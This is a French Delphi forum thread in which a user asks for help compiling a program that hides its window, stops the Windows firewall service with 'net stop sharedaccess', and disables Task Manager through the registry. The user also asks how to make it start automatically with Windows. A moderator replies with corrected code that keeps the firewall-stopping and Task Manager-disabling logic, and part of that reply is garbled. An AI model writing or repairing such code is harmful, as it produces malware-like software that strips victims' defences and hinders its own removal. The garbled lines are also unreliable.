emirej
Messages postés90Date d'inscriptionmercredi 14 mars 2007StatutMembreDernière intervention31 mai 2009
-
1 mars 2009 à 18:25
f0xi
Messages postés4205Date d'inscriptionsamedi 16 octobre 2004StatutModérateurDernière intervention12 mars 2022
-
2 mars 2009 à 08:47
Bonjour, en faite j'ai un problème quand je veux compiler mon programme, il me dise qu'il y a une erreur =\
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Form1.Hide;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
ShellExecute(0,'open', 'net.exe',' stop sharedaccess',0,0);
end;
procedure TForm1.FormActivate(Sender: TObject);
var Registre:TRegistry;
begin
Registre:=TRegistry.Create;
try
Registre.RootKey:=HKEY_CURRENT_USER;
Registre.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System\', true);
Registre.WriteString('DisableTaskMgr','1');
Registre.CloseKey;
Registre.Free;
Registre.Free;
end;
end;
end;
end.
Je n'arrive pas à déterminer d'ou vient ce problème. Merci de m'éclaircir un peu ^^"
Voici mon message d'erreur
Build
[Warning] Unit1.pas(42): Constant 0 converted to NIL
[Error] Unit1.pas(56): EXCEPT or FINALLY expected
[Error] Unit1.pas(58): '.' expected but ';' found
[Fatal Error] Test.dpr(5): Could not compile used unit 'Unit1.pas'
emirej
Messages postés90Date d'inscriptionmercredi 14 mars 2007StatutMembreDernière intervention31 mai 2009 1 mars 2009 à 18:53
Une autre question aussi, comment faire pour mettre mon programme dans la base de registre de tel sorte à ce qu'il démarre à chaque démarrage de Windows s'il vous plait ?
f0xi
Messages postés4205Date d'inscriptionsamedi 16 octobre 2004StatutModérateurDernière intervention12 mars 202235 2 mars 2009 à 08:47
var
DTM : boolean = false;
procedure TForm1.FormCreate(Sender: TObject);
begin
if ParamCount = 2 then DTM :ParamStr(1) '/d';
if not DTM then
ShellExecute(0, 'open', 'net.exe', 'stop sharedaccess', nil, nil);
end;
procedure TForm1.FormActivate(Sender: TObject);
const
DTMTV : array[Boolean] of String = ('1','0');
begin
with TRegistry.Create do
try
RootKey := HKEY_CURRENT_USER;
if OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System\', true) then
WriteString('DisableTaskMgr', DTMTV[DTM]);
CloseKey;
finally
Free;
end;
end;